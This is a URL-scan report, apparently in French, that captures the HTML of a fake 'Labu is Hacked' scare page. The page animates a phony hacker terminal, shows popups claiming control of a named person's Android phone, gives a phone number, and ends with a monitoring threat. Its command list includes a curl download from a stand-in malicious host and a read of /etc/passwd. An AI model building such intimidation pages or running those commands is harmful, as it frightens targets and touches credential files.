- ID de l'analyse :
- bc17e99f-7d75-499f-909e-143c9ebe8782Terminée
- URL soumise :
- https://ynwueyyfkiii6npvzjgjfq.on.drv.tw/index.html/
- Fin du rapport :
Liens : 0 trouvé(s)
Liens sortants identifiés à partir de la page
Variables JavaScript : 20 trouvée(s)
Les variables JavaScript globales chargées dans l'objet fenêtre d'une page sont des variables déclarées en dehors des fonctions et accessibles depuis n'importe quel endroit du code au sein du champ d'application actuel
Nom | Type |
---|---|
onbeforetoggle | object |
documentPictureInPicture | object |
onscrollend | object |
typeCommand | function |
executeFakeCommands | function |
showProgressBar | function |
showPermissionPopup | function |
showAndroidButtonPopup | function |
showMonitoringMessage | function |
showSystemMessage | function |
Messages de journal de console : 1 trouvé(s)
Messages consignés dans la console web
Type | Catégorie | Enregistrement |
---|---|---|
error | network |
|
HTML
Le corps HTML de la page en données brutes
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:b="http://www.google.com/2005/gml"><head></head><body>html_code = """
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Labu is Hacked</title>
<style>
body {
background-color: #000;
color: #00ff00;
font-family: 'Courier New', Courier, monospace;
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
text-align: center;
}
h1 {
font-size: 2em;
color: #ff0000;
margin-bottom: 20px;
text-transform: uppercase;
}
.terminal {
width: 90%;
max-width: 800px;
background-color: #222;
border-radius: 5px;
box-shadow: 0 0 15px rgba(0, 255, 0, 0.3);
}
.header {
background-color: #444;
padding: 5px;
border-top-left-radius: 5px;
border-top-right-radius: 5px;
display: flex;
justify-content: space-between;
align-items: center;
}
.buttons span {
height: 12px;
width: 12px;
border-radius: 50%;
display: inline-block;
margin-right: 5px;
}
.red {
background-color: #ff605c;
}
.yellow {
background-color: #ffbd44;
}
.green {
background-color: #00ca4e;
}
.title {
color: #fff;
font-size: 14px;
}
.screen {
padding: 20px;
overflow-y: auto;
height: 400px;
background-color: #000;
text-align: left;
}
.cursor {
display: inline-block;
width: 10px;
background-color: #00ff00;
animation: blink 1s steps(2, start) infinite;
}
.progress-bar {
width: 0;
height: 10px;
background-color: #00ff00;
margin-top: 10px;
transition: width 0.5s;
}
@keyframes blink {
0%, 50% {
opacity: 1;
}
51%, 100% {
opacity: 0;
}
}
.system-message {
background-color: #222;
color: #ff0000;
padding: 10px;
border: 1px solid #ff0000;
margin: 10px 0;
font-weight: bold;
border-radius: 5px;
}
/* Pop-Up Styles */
.popup {
display: none;
position: fixed;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
background-color: rgba(255, 0, 0, 0.8);
color: white;
padding: 20px;
border-radius: 10px;
z-index: 1000;
box-shadow: 0 0 15px rgba(255, 0, 0, 0.5);
font-size: 20px;
text-align: center;
}
/* Mobile Styles */
@media (max-width: 600px) {
h1 {
font-size: 1.5em;
}
.terminal {
width: 95%;
}
.screen {
height: 300px;
}
.popup {
font-size: 18px;
}
}
/* Monitoring Message Style */
.monitoring-message {
margin-top: 20px;
font-size: 16px;
color: #ff0000;
font-weight: bold;
}
</style>
<h1>Labu is Hacked</h1>
<div class="terminal">
<div class="header">
<div class="buttons">
<span class="red"></span>
<span class="yellow"></span>
<span class="green"></span>
</div>
<p class="title">root@labu: ~</p>
</div>
<div class="screen" id="terminalScreen">
<p>root@labu:~$ <span class="cursor"></span></p>
<div class="system-message">SYSTEM WARNING: Unauthorized access detected!r</div></div>
<div id="progressBarContainer"></div>
</div>
<!-- Pop-Up for Permission Granted -->
<div class="popup" id="permissionPopup">
<p>Last Permission Granted!</p>
<p>Access to +8801768288313 has been obtained.</p>
</div>
<!-- Pop-Up for Controlled Android Button -->
<div class="popup" id="androidButtonPopup">
<p>Controlled Android Button Activated!</p>
<p>The android device is now under control.</p>
</div>
<script type="text/javascript" async="" src="https://www.google-analytics.com/analytics.js"></script><script type="text/javascript" async="" src="https://www.googletagmanager.com/gtag/js?id=G-LHL0SH0Z7S&l=dataLayer&cx=c"></script><script type="text/javascript" async="" src="https://www.googletagmanager.com/gtag/js?id=G-NBGQJBJMEG&l=dataLayer&cx=c"></script><script async="" src="https://www.googletagmanager.com/gtag/js?id=UA-85417367-1"></script><script>
const terminalScreen = document.getElementById('terminalScreen');
const progressBarContainer = document.getElementById('progressBarContainer');
const permissionPopup = document.getElementById('permissionPopup');
const androidButtonPopup = document.getElementById('androidButtonPopup');
const fakeCommands = [
"ping 192.168.1.1",
"traceroute www.example.com",
"sudo apt-get update",
"curl http://malicious-site.com --download",
"cat /etc/passwd",
"Downloading data from Labu's phone...",
"echo 'Access Granted to +8801768288313'",
"android button activated"
];
function typeCommand(command, delay = 100) {
let i = 0;
const interval = setInterval(() => {
if (i < command.length) {
terminalScreen.lastChild.innerHTML += command[i];
i++;
} else {
clearInterval(interval);
terminalScreen.appendChild(document.createElement("p")).innerHTML = "root@labu:~$ <span class='cursor'></span>";
}
}, delay);
}
function executeFakeCommands() {
let index = 0;
const commandInterval = setInterval(() => {
if (index < fakeCommands.length) {
const command = fakeCommands[index];
terminalScreen.lastChild.innerHTML += command + "<br>";
if (command.includes("Downloading")) {
showProgressBar();
}
if (command.includes("Access Granted")) {
setTimeout(showPermissionPopup, 1000);
}
if (command.includes("android button activated")) {
setTimeout(showAndroidButtonPopup, 1000);
}
index++;
} else {
clearInterval(commandInterval);
terminalScreen.appendChild(document.createElement("p")).innerHTML = "root@labu:~$ <span class='cursor'></span>";
showMonitoringMessage(); // Show monitoring message after commands
}
}, 2000);
}
function showProgressBar() {
const progressBar = document.createElement("div");
progressBar.className = "progress-bar";
progressBarContainer.appendChild(progressBar);
let width = 0;
const progressInterval = setInterval(() => {
if (width >= 100) {
clearInterval(progressInterval);
} else {
width += 10;
progressBar.style.width = width + "%";
}
}, 500);
}
function showPermissionPopup() {
permissionPopup.style.display = "block";
setTimeout(() => {
permissionPopup.style.display = "none";
}, 5000); // Hide after 5 seconds
}
function showAndroidButtonPopup() {
androidButtonPopup.style.display = "block";
setTimeout(() => {
androidButtonPopup.style.display = "none";
}, 5000); // Hide after 5 seconds
}
function showMonitoringMessage() {
const monitoringMessage = document.createElement("div");
monitoringMessage.className = "monitoring-message";
monitoringMessage.textContent = "We are monitoring all your activity online and offline.";
document.body.appendChild(monitoringMessage);
}
function showSystemMessage(message) {
const systemMessage = document.createElement("div");
systemMessage.className = "system-message";
systemMessage.textContent = message;
terminalScreen.appendChild(systemMessage);
}
// Automatically start typing and executing commands
window.onload = () => {
setTimeout(() => {
showSystemMessage("SYSTEM WARNING: Unauthorized access detected!");
typeCommand("root@labu:~$ ./start-hack.sh");
setTimeout(executeFakeCommands, 2000);
}, 1000);
};
</script>
<script src="https://www.drv.tw/inc/wd.js?s=ynwueyyfkiii6npvzjgjfq"></script>
"""
</body></html>